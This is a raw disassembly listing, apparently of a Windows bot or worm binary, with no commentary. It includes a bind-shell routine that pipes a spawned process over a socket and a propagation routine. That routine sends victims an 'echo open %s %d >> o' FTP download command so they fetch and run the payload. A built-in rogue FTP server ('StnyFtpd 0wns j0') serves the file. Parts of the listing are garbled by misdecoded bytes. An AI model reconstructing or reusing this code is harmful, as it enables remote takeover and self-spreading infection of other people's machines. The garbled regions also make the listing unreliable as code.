[ebp+var_58], 10B8h mov [ebp+var_56], 10B8h mov [ebp+var_54], edi mov [ebp+var_50], ebx mov [ebp+var_4C], di mov [ebp+var_4A], 1 mov [ebp+var_38], ebx call sub_41E840 push 10h lea eax, [ebp+var_34] push offset dword_44967C push eax mov [ebp+var_24], 2 call sub_41E840 add esp, 24h lea eax, [ebp+var_6C] push edi push eax lea eax, [ebp+var_68] push 48h push eax push [ebp+var_4] call near ptr 3D0000h xor eax, [ebp+var_729F8B40] test [ebx+esi-17AF0001h], edi jge short loc_40F43E add [eax], eax pop ecx lea ebx, [eax+eax+12h] loc_40F438: ; CODE XREF: sub_40F19D:loc_40F43Ej test bl, 3 jz short loc_40F440 inc ebx loc_40F43E: ; CODE XREF: sub_40F19D+292j jmp short loc_40F438 ; --------------------------------------------------------------------------- loc_40F440: ; CODE XREF: sub_40F19D+29Ej cmp ds:byte_44850C[esi], 0 jz short loc_40F44C add ebx, 4 loc_40F44C: ; CODE XREF: sub_40F19D+2AAj lea eax, [ebp+var_8C44] push eax call sub_4201B0 pop ecx lea eax, [ebx+eax*2+0Eh] loc_40F45D: ; CODE XREF: sub_40F19D+2C5j test al, 3 jz short loc_40F464 inc eax jmp short loc_40F45D ; --------------------------------------------------------------------------- loc_40F464: ; CODE XREF: sub_40F19D+2C2j add eax, 8 cmp ds:byte_44850C[esi], 0 jz short loc_40F475 add eax, 4 jmp short loc_40F477 ; --------------------------------------------------------------------------- loc_40F475: ; CODE XREF: sub_40F19D+2D1j inc eax inc eax loc_40F477: ; CODE XREF: sub_40F19D+2D6j push eax mov [ebp+var_8], eax call sub_41AE40 mov ebx, eax pop ecx cmp ebx, edi jnz short loc_40F495 push [ebp+var_4] call ds:dword_4F12FC ; CloseHandle jmp loc_40F393 ; --------------------------------------------------------------------------- loc_40F495: ; CODE XREF: sub_40F19D+2E8j push [ebp+var_8] push edi push ebx call sub_41D100 push 4 push offset dword_448350 push ebx call sub_41E840 lea eax, [ebp+var_CC44] push eax call sub_4201B0 inc eax mov [ebx+0Ch], eax mov [ebx+8], edi mov eax, [ebx+0Ch] mov [ebx+4], eax lea eax, [ebp+var_CC44] push eax lea eax, [ebx+10h] push eax call sub_41ED50 lea eax, [ebp+var_CC44] push eax call sub_4201B0 lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+arg_0], eax jz short loc_40F4F7 loc_40F4EF: ; CODE XREF: sub_40F19D+355j inc eax test al, 3 jnz short loc_40F4EF mov [ebp+arg_0], eax loc_40F4F7: ; CODE XREF: sub_40F19D+350j cmp ds:byte_44850C[esi], 0 jz short loc_40F519 push 4 add eax, ebx push offset dword_448358 push eax call sub_41E840 add esp, 0Ch add [ebp+arg_0], 4 mov eax, [ebp+arg_0] loc_40F519: ; CODE XREF: sub_40F19D+361j lea edi, [eax+ebx] lea eax, [ebp+var_8C44] push eax call sub_4201B0 inc eax add [ebp+arg_0], 0Ch mov [edi+8], eax and dword ptr [edi+4], 0 mov eax, [edi+8] mov [edi], eax lea eax, [ebp+var_8C44] push eax mov eax, [ebp+arg_0] add eax, ebx push eax call sub_41ED50 lea eax, [ebp+var_8C44] push eax call sub_4201B0 mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+arg_0], eax jz short loc_40F570 loc_40F568: ; CODE XREF: sub_40F19D+3CEj inc eax test al, 3 jnz short loc_40F568 mov [ebp+arg_0], eax loc_40F570: ; CODE XREF: sub_40F19D+3C9j xor edi, edi push 8 add eax, ebx push edi push eax call sub_41D100 mov eax, [ebp+arg_0] add esp, 0Ch add eax, 8 cmp ds:byte_44850C[esi], 0 jz short loc_40F594 mov [eax+ebx], edi jmp short loc_40F59A ; --------------------------------------------------------------------------- loc_40F594: ; CODE XREF: sub_40F19D+3F0j mov word ptr [eax+ebx], 1 loc_40F59A: ; CODE XREF: sub_40F19D+3F5j push 18h lea eax, [ebp+var_20] push edi push eax call sub_41D100 add esp, 0Ch mov cl, ds:byte_44850C[esi] and [ebp+var_1F], 0 and [ebp+var_1E], 0 push 1 mov [ebp+var_16], di pop eax mov [ebp+var_C], di push eax push 10B8h push [ebp+var_8] lea esi, [ebp+var_20] neg cl sbb ecx, ecx push ebx and ecx, 2 sub esp, 18h add ecx, 19h mov [ebp+var_20], 5 push 6 mov [ebp+var_A], cx pop ecx mov [ebp+var_1D], 3 mov edi, esp push [ebp+var_4] mov [ebp+var_1C], 10h mov [ebp+var_14], eax rep movsd call loc_40F0BF add esp, 2Ch test al, al jnz short loc_40F60C xor esi, esi jmp short loc_40F60F ; --------------------------------------------------------------------------- loc_40F60C: ; CODE XREF: sub_40F19D+469j push 1 pop esi loc_40F60F: ; CODE XREF: sub_40F19D+46Dj push [ebp+var_4] call ds:dword_4F12FC ; CloseHandle push ebx call sub_41B8B0 pop ecx xor edi, edi loc_40F621: ; CODE XREF: sub_40F19D+1F8j push edi push edi push [ebp+var_78] call ds:dword_451558 mov eax, esi loc_40F62E: ; CODE XREF: sub_40F19D+26j pop edi pop esi pop ebx leave retn sub_40F19D endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi push edi sub esp, 0BCh lea esi, [esp+0C8h] push 2Fh pop ecx mov edi, esp push 1 rep movsd call sub_40F19D pop ecx lea esi, [esp+0C8h] push 2Fh pop ecx mov edi, esp push 1 rep movsd call sub_40F19D add esp, 0C0h push 1F4h call ds:dword_4F12F4 ; Sleep push 7C7h lea esi, [esp+10h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz short loc_40F6B7 mov eax, [esp+0B4h] push 1 shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] pop eax jmp short loc_40F6B9 ; --------------------------------------------------------------------------- loc_40F6B7: ; CODE XREF: seg000:0040F69Aj xor eax, eax loc_40F6B9: ; CODE XREF: seg000:0040F6B5j pop edi pop esi retn ; --------------------------------------------------------------------------- push esi push edi sub esp, 0BCh lea esi, [esp+0C8h] push 2Fh pop ecx mov edi, esp push 0 rep movsd call sub_40F19D pop ecx lea esi, [esp+0C8h] push 2Fh pop ecx mov edi, esp push 0 rep movsd call sub_40F19D add esp, 0C0h push 1F4h call ds:dword_4F12F4 ; Sleep push 7C7h lea esi, [esp+10h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz short loc_40F740 mov eax, [esp+0B4h] push 1 shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] pop eax jmp short loc_40F742 ; --------------------------------------------------------------------------- loc_40F740: ; CODE XREF: seg000:0040F723j xor eax, eax loc_40F742: ; CODE XREF: seg000:0040F73Ej pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40F745 proc near ; DATA XREF: seg000:0040F92Eo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40F74E: ; CODE XREF: sub_40F745+25j ; sub_40F745+41j push 0 lea eax, [ebp+var_404] push 400h push eax push ds:dword_4E2630 call ds:dword_45150C test eax, eax jle short loc_40F74E lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push ds:dword_4E262C call near ptr 3D0000h scasd jmp short loc_40F74E sub_40F745 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40F788 proc near ; DATA XREF: seg000:0040F915o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40F791: ; CODE XREF: sub_40F788+2Fj ; sub_40F788+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push ds:dword_4E2620 call ds:dword_4F1374 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40F791 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push ds:dword_4E2630 call ds:dword_451540 jmp short loc_40F791 sub_40F788 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+8] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp-11Ch] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h lea eax, [ebp-38h] push edi push eax call sub_41D100 add esp, 0Ch mov word ptr [ebp-38h], 2 push dword ptr [ebp-98h] call ds:dword_4514F4 push 6 push esi push 2 mov [ebp-36h], ax call ds:dword_451570 mov [ebp+8], eax lea eax, [ebp-38h] push 10h push eax push dword ptr [ebp+8] call ds:dword_451520 push 5 push dword ptr [ebp+8] call ds:dword_45151C mov ebx, ds:dword_4F1394 mov esi, ds:dword_4F12FC loc_40F853: ; CODE XREF: seg000:0040F99Ej push edi push edi push dword ptr [ebp+8] call ds:dword_451584 mov ds:dword_4E2630, eax lea eax, [ebp-0Ch] push edi push eax push offset dword_4E262C push offset dword_4E2628 mov dword ptr [ebp-0Ch], 0Ch mov dword ptr [ebp-4], 1 mov [ebp-8], edi call ebx ; dword_4F1394 lea eax, [ebp-0Ch] push edi push eax push offset dword_4E2624 push offset dword_4E2620 call ebx ; dword_4F1394 push 44h lea eax, [ebp-7Ch] push edi push eax call sub_41D100 mov eax, ds:dword_4E2628 add esp, 0Ch mov [ebp-44h], eax mov eax, ds:dword_4E2624 mov [ebp-40h], eax push edi push 1 lea eax, [ebp-3Ch] push 2 push eax mov dword ptr [ebp-7Ch], 44h mov dword ptr [ebp-50h], 101h mov [ebp-4Ch], di call near ptr 3D0000h lock push eax push ds:dword_4E2624 call near ptr 3D0000h cld push eax call near ptr 3D0000h mov byte ptr [ebp-72AF27BBh], 45h test [eax+57h], dl push edi push 4000090h lea eax, [ebp-0Ch] push 1 push eax lea eax, [ebp-0Ch] push eax push offset dword_449690 push edi call near ptr 3D0000h and [ebp+5750E845h], cl push edi push offset sub_40F788 lea eax, [ebp-0Ch] push edi push eax call ds:dword_4F131C ; CreateThread mov [ebp-14h], eax lea eax, [ebp-18h] push eax push edi push edi push offset sub_40F745 lea eax, [ebp-0Ch] push edi push eax call ds:dword_4F131C ; CreateThread push 0FFFFFFFFh mov [ebp-10h], eax push dword ptr [ebp-28h] call near ptr 3D0000h inc eax push edi push dword ptr [ebp-10h] call near ptr 3D0000h ; CODE XREF: seg000:0040F961j jnz short loc_40F9AE push dword ptr [ebp-14h] call near ptr 3D0000h jl short near ptr loc_40F95F+1 ; CODE XREF: seg000:loc_40F95Fj jnz short near ptr loc_40F950+3 call esi ; dword_4F12FC push dword ptr [ebp-14h] call esi ; dword_4F12FC push edi push dword ptr [ebp-28h] call near ptr 3D0000h dec ecx push ds:dword_4E2628 call esi ; dword_4F12FC push ds:dword_4E262C call esi ; dword_4F12FC push ds:dword_4E2620 call esi ; dword_4F12FC push ds:dword_4E2624 call esi ; dword_4F12FC push dword ptr [ebp-24h] call esi ; dword_4F12FC push dword ptr [ebp-28h] call esi ; dword_4F12FC jmp loc_40F853 ; --------------------------------------------------------------------------- byte_40F9A3 db 0E9h ; DATA XREF: seg002:0043C00Co align 8 dd 0FFFE68h db 0, 68h ; --------------------------------------------------------------------------- loc_40F9AE: ; CODE XREF: seg000:0040F955j add [eax+eax], al add al, ch xchg al, [bx+si] add [ecx-5Dh], bl cmp [esi], ah dec esi add [ecx-3Dh], bl loc_40F9BF: ; DATA XREF: seg000:00409A5Bo push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+8] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp-0C0h] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h lea eax, [ebp-14h] push ebx push eax call sub_41D100 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-0B4h] call ds:dword_4514F4 push ebx push esi push 2 mov [ebp-12h], ax mov [ebp-10h], ebx call ds:dword_451570 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40FA81 call ds:dword_451488 push eax lea eax, [ebp-2C0h] push offset unk_449698 push eax call sub_41D260 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_40FA61 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0C0h] call sub_40145D add esp, 14h loc_40FA61: ; CODE XREF: seg000:0040FA3Fj lea eax, [ebp-2C0h] push eax call sub_4161A7 push dword ptr [ebp-0BCh] call sub_40905B pop ecx pop ecx push ebx call near ptr 3D0000h inc ebx loc_40FA81: ; CODE XREF: seg000:0040FA1Fj mov eax, [ebp-0BCh] push 10h imul eax, 234h mov ds:dword_4523C4[eax], edi lea eax, [ebp-14h] push eax push edi call ds:dword_451520 cmp eax, esi mov ebx, 400h jnz loc_40FBA9 call ds:dword_451488 cmp eax, 2740h jz short near ptr loc_40FB15+1 push eax lea eax, [ebp-2C0h] push offset unk_4496EC push eax call sub_41D260 xor esi, esi add esp, 0Ch cmp [ebp-2Ch], esi jnz short loc_40FAF6 push esi lea eax, [ebp-2C0h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0C0h] call sub_40145D add esp, 14h loc_40FAF6: ; CODE XREF: seg000:0040FAD4j lea eax, [ebp-2C0h] push eax call sub_4161A7 push dword ptr [ebp-0BCh] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h loc_40FB15: ; CODE XREF: seg000:0040FAB8j sub [eax-2], ebp inc dword ptr [eax] add [ebx-18h], dl std test [eax], al add [ecx-5Dh], bl cmp [esi], ah dec esi add [ecx+66h], bl mov [ebp-12h], eax lea eax, [ebp-14h] push 10h push eax push edi call ds:dword_451520 cmp eax, esi jnz short loc_40FBA9 call ds:dword_451488 mov esi, eax lea eax, [ebp-2C0h] push esi push offset unk_449740 push eax call sub_41D260 xor edi, edi add esp, 0Ch cmp [ebp-2Ch], edi jnz short loc_40FB89 cmp esi, 2740h jz short loc_40FB89 push edi lea eax, [ebp-2C0h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0C0h] call sub_40145D add esp, 14h loc_40FB89: ; CODE XREF: seg000:0040FB5Fj ; seg000:0040FB67j lea eax, [ebp-2C0h] push eax call sub_4161A7 push dword ptr [ebp-0BCh] call sub_40905B pop ecx pop ecx push edi call near ptr 3D0000h cdq loc_40FBA9: ; CODE XREF: seg000:0040FAA7j ; seg000:0040FB3Bj push 5 push edi call ds:dword_45151C cmp eax, esi jz loc_40FCB2 mov dword ptr [ebp-4], 10h mov esi, offset byte_43CCBC loc_40FBC6: ; CODE XREF: seg000:0040FBDBj ; seg000:0040FC4Ej ... lea eax, [ebp-4] push eax lea eax, [ebp-24h] push eax push edi call ds:dword_451584 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_40FBC6 movzx eax, word ptr [ebp-22h] push eax push dword ptr [ebp-20h] call ds:dword_45157C push eax lea eax, [ebp-2C0h] push offset unk_449794 push eax call sub_41D260 add esp, 10h cmp dword ptr [ebp-2Ch], 0 jnz short loc_40FC27 push 0 lea eax, [ebp-2C0h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0C0h] call sub_40145D add esp, 14h loc_40FC27: ; CODE XREF: seg000:0040FC04j lea eax, [ebp-2C0h] push eax call sub_4161A7 pop ecx lea eax, [ebp-2C0h] push 0 push 200h push eax push dword ptr [ebp+8] call ds:dword_45150C cmp eax, 0FFFFFFFFh jz loc_40FBC6 push esi push esi push ds:dword_4DF1B8 push dword ptr [ebp-0C0h] call sub_402617 pop ecx push eax push offset aEchoOpenSDOE_1 ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp-6C0h] push ebx push eax call sub_41D360 add esp, 1Ch lea eax, [ebp-6C0h] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-6C0h] push eax push dword ptr [ebp+8] call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_40FBC6 inc ds:dword_4E2640 jmp loc_40FBC6 ; --------------------------------------------------------------------------- loc_40FCB2: ; CODE XREF: seg000:0040FBB4j push edi call ds:dword_451588 push dword ptr [ebp-0BCh] call sub_40905B pop ecx push 0 call near ptr 3D0000h cld push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+8] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp-6E0h] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp-0A70h] xor esi, esi push eax push 101h mov [ebp-1Ch], ebx mov [ebp-2Ch], ebx mov [ebp-24h], ebx mov [ebp-22Ch], esi mov [ebp-43Ch], esi call ds:dword_4F14DC ; WSAStartup push esi push ebx push 2 call ds:dword_4F14E4 ; socket mov esi, ds:dword_4F14BC lea ecx, [ebp-1Ch] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp-8], eax call esi ; dword_4F14BC lea eax, [ebp-2Ch] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp-8] push edi call esi ; dword_4F14BC lea eax, [ebp-24h] push eax push 8004667Eh push edi call ds:dword_4F14C0 ; ioctlsocket mov ax, word ptr ds:dword_4DF1B8 and dword ptr [ebp-48h], 0 push eax mov word ptr [ebp-4Ch], 2 call ds:dword_4514F4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push edi call ds:dword_4F14C4 ; bind test eax, eax jge short loc_40FD93 mov eax, ebx jmp loc_4102FA ; --------------------------------------------------------------------------- loc_40FD93: ; CODE XREF: seg000:0040FD8Aj push 0Ah push edi call ds:dword_4F14C8 ; listen mov [ebp-22Ch], ebx mov ebx, ds:dword_4F14E8 mov [ebp-228h], edi mov [ebp-4], edi loc_40FDB1: ; CODE XREF: seg000:0040FDEAj ; seg000:004102F2j push 41h lea esi, [ebp-22Ch] pop ecx lea edi, [ebp-43Ch] rep movsd xor esi, esi lea eax, [ebp-43Ch] push esi push esi push esi push eax mov eax, [ebp-4] inc eax push eax call ds:dword_4F14F4 ; select cmp eax, 0FFFFFFFFh jz loc_4102F7 xor edi, edi cmp [ebp-4], esi mov [ebp+8], edi jl short loc_40FDB1 loc_40FDEC: ; CODE XREF: seg000:004102ECj xor esi, esi push 64h lea eax, [ebp-2A0h] push esi push eax call sub_41D100 push 64h lea eax, [ebp-0B0h] push esi push eax call sub_41D100 add esp, 18h lea eax, [ebp-43Ch] push eax push edi call sub_437842 ; __WSAFDIsSet test eax, eax jz loc_4102E5 cmp edi, [ebp-8] jnz short loc_40FEA3 lea eax, [ebp-10h] mov dword ptr [ebp-10h], 10h push eax lea eax, [ebp-23Ch] push eax push dword ptr [ebp-8] call ds:dword_4F14CC ; accept cmp eax, 0FFFFFFFFh jz loc_4102E5 xor ecx, ecx cmp [ebp-22Ch], esi jbe short loc_40FE6D lea edx, [ebp-228h] loc_40FE5D: ; CODE XREF: seg000:0040FE6Bj cmp [edx], eax jz short loc_40FE6D inc ecx add edx, 4 cmp ecx, [ebp-22Ch] jb short loc_40FE5D loc_40FE6D: ; CODE XREF: seg000:0040FE55j ; seg000:0040FE5Fj cmp ecx, [ebp-22Ch] jnz short loc_40FE8B cmp dword ptr [ebp-22Ch], 40h jnb short loc_40FE8B mov [ebp+ecx*4-228h], eax inc dword ptr [ebp-22Ch] loc_40FE8B: ; CODE XREF: seg000:0040FE73j ; seg000:0040FE7Cj cmp eax, [ebp-4] jle short loc_40FE93 mov [ebp-4], eax loc_40FE93: ; CODE XREF: seg000:0040FE8Ej push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; dword_4F14E8 jmp loc_4102E5 ; --------------------------------------------------------------------------- loc_40FEA3: ; CODE XREF: seg000:0040FE27j push esi lea eax, [ebp-2A0h] push 64h push eax push edi call ds:dword_4F14E0 ; recv test eax, eax jg short loc_40FF0A mov edx, [ebp-22Ch] xor ecx, ecx cmp edx, esi jbe short loc_40FEFE lea eax, [ebp-228h] loc_40FECA: ; CODE XREF: seg000:0040FED4j cmp [eax], edi jz short loc_40FED8 inc ecx add eax, 4 cmp ecx, edx jb short loc_40FECA jmp short loc_40FEFE ; --------------------------------------------------------------------------- loc_40FED8: ; CODE XREF: seg000:0040FECCj dec edx cmp ecx, edx jnb short loc_40FEF8 lea eax, [ebp+ecx*4-228h] loc_40FEE4: ; CODE XREF: seg000:0040FEF6j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp-22Ch] add eax, 4 dec edx cmp ecx, edx jb short loc_40FEE4 loc_40FEF8: ; CODE XREF: seg000:0040FEDBj dec dword ptr [ebp-22Ch] loc_40FEFE: ; CODE XREF: seg000:0040FEC2j ; seg000:0040FED6j push edi call ds:dword_4F14D0 ; closesocket jmp loc_4102E5 ; --------------------------------------------------------------------------- loc_40FF0A: ; CODE XREF: seg000:0040FEB6j lea eax, [ebp-338h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2A0h] push offset aSS_1 ; "%s %s" push eax call sub_41EB80 lea eax, [ebp-0B0h] push offset aUser_1 ; "USER" push eax call sub_41D900 add esp, 18h test eax, eax jnz short loc_40FF4E push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_40FF4E: ; CODE XREF: seg000:0040FF3Fj lea eax, [ebp-0B0h] push offset aPass ; "PASS" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40FF72 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_40FF72: ; CODE XREF: seg000:0040FF63j lea eax, [ebp-0B0h] push offset aSyst ; "SYST" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40FF96 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: seg000:0040FF87j lea eax, [ebp-0B0h] push offset aRest ; "REST" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40FFBA push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_40FFBA: ; CODE XREF: seg000:0040FFABj lea eax, [ebp-0B0h] push offset off_4498E8 push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40FFDE push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_40FFDE: ; CODE XREF: seg000:0040FFCFj lea eax, [ebp-0B0h] push offset aType ; "TYPE" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_410019 lea eax, [ebp-338h] push offset aA_0 ; "A" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_410019 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_410019: ; CODE XREF: seg000:0040FFF3j ; seg000:0041000Aj lea eax, [ebp-0B0h] push offset aType_0 ; "TYPE" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_410054 lea eax, [ebp-338h] push offset aI ; "I" push eax call sub_41D900 loc_410041: ; DATA XREF: seg000:0040E5E7o pop ecx test eax, eax pop ecx jnz short loc_410054 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4102D0 ; --------------------------------------------------------------------------- loc_410054: ; CODE XREF: seg000:0041002Ej ; seg000:00410045j ; DATA XREF: ... lea eax, [ebp-0B0h] push offset aPasv ; "PASV" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4100A2 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp-128h] rep movsd push eax lea eax, [ebp-128h] push eax movsw call sub_41AC70 pop ecx push eax lea eax, [ebp-128h] loc_410092: ; CODE XREF: seg000:004100E1j push eax push dword ptr [ebp+8] call ebx ; dword_4F14E8 xor esi, esi loc_41009A: ; CODE XREF: seg000:004101B1j mov edi, [ebp+8] jmp loc_4102D3 ; --------------------------------------------------------------------------- loc_4100A2: ; CODE XREF: seg000:00410069j lea eax, [ebp-0B0h] push offset aList_0 ; "LIST" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4100E3 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp-0C8h] rep movsd movsw push eax lea eax, [ebp-0C8h] push eax movsb call sub_41AC70 pop ecx push eax lea eax, [ebp-0C8h] jmp short loc_410092 ; --------------------------------------------------------------------------- loc_4100E3: ; CODE XREF: seg000:004100B7j lea eax, [ebp-0B0h] push offset aPort ; "PORT" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_4101B6 lea eax, [ebp-2D4h] push eax lea eax, [ebp-0FCh] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-18h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-28h] push eax lea eax, [ebp-2A0h] push offset aS_19 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41EB80 lea eax, [ebp-0FCh] push eax call sub_41D560 mov edi, eax lea eax, [ebp-2D4h] push eax call sub_41D560 mov [ebp-0Ch], eax push 32h lea eax, [ebp-0FCh] push esi push eax call sub_41D100 push dword ptr [ebp-0Ch] lea eax, [ebp-0FCh] push edi push offset aXX ; "%x%x\n" push eax call sub_41D260 add esp, 44h lea eax, [ebp-0FCh] push 10h push esi push eax call sub_41E380 mov [ebp-0Ch], eax lea eax, [ebp-14h] push eax lea eax, [ebp-18h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-28h] push eax lea eax, [ebp-3Ch] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41D260 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push dword ptr [ebp+8] call ebx ; dword_4F14E8 jmp loc_41009A ; --------------------------------------------------------------------------- loc_4101B6: ; CODE XREF: seg000:004100F8j lea eax, [ebp-0B0h] push offset aRetr ; "RETR" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_4102B1 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; dword_4F14E8 push dword ptr [ebp-0Ch] lea eax, [ebp-3Ch] push eax call sub_410301 pop ecx cmp eax, 1 pop ecx jnz loc_4102A7 lea eax, [ebp-3Ch] push eax lea eax, [ebp-8E0h] push offset dword_449A38 push eax call sub_41D260 add esp, 0Ch cmp [ebp-444h], esi jnz short loc_410236 push esi lea eax, [ebp-8E0h] push dword ptr [ebp-448h] push eax lea eax, [ebp-4C8h] push eax push dword ptr [ebp-6E0h] call sub_40145D add esp, 14h loc_410236: ; CODE XREF: seg000:00410211j call sub_41037E cmp eax, 1 jnz loc_4102D3 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; dword_4F14E8 lea eax, [ebp-3Ch] push eax lea eax, [ebp-8E0h] push offset dword_449A9C push eax call sub_41D260 add esp, 0Ch cmp [ebp-444h], esi jnz short loc_410292 push esi lea eax, [ebp-8E0h] push dword ptr [ebp-448h] push eax lea eax, [ebp-4C8h] push eax push dword ptr [ebp-6E0h] call sub_40145D add esp, 14h loc_410292: ; CODE XREF: seg000:0041026Dj lea eax, [ebp-8E0h] push eax call sub_4161A7 inc ds:dword_4E1D38 pop ecx jmp short loc_4102D3 ; --------------------------------------------------------------------------- loc_4102A7: ; CODE XREF: seg000:004101EDj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4102D0 ; --------------------------------------------------------------------------- loc_4102B1: ; CODE XREF: seg000:004101CBj lea eax, [ebp-0B0h] push offset aQuit_1 ; "QUIT" push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4102D3 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4102D0: ; CODE XREF: seg000:0040FF49j ; seg000:0040FF6Dj ... push edi call ebx ; dword_4F14E8 loc_4102D3: ; CODE XREF: seg000:0041009Dj ; seg000:0041023Ej ... push 64h lea eax, [ebp-2A0h] push esi push eax call sub_41D100 add esp, 0Ch loc_4102E5: ; CODE XREF: seg000:0040FE1Ej ; seg000:0040FE47j ... inc edi cmp edi, [ebp-4] mov [ebp+8], edi jle loc_40FDEC jmp loc_40FDB1 ; --------------------------------------------------------------------------- loc_4102F7: ; CODE XREF: seg000:0040FDDCj push 1 pop eax loc_4102FA: ; CODE XREF: seg000:0040FD8Ej pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410301 proc near ; CODE XREF: seg000:004101E3p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4F14DC ; WSAStartup push 0 push 1 push 2 call ds:dword_4F14E4 ; socket push [ebp+arg_0] mov ds:dword_4E2644, eax mov [ebp+var_10], 2 call ds:dword_4F14F0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4F14D4 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_4E2644 call ds:dword_4F14B4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_410379 push ds:dword_4E2644 call ds:dword_4F14D0 ; closesocket call ds:dword_4F14B8 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_410379: ; CODE XREF: sub_410301+60j push 1 pop eax leave retn sub_410301 endp ; =============== S U B R O U T I N 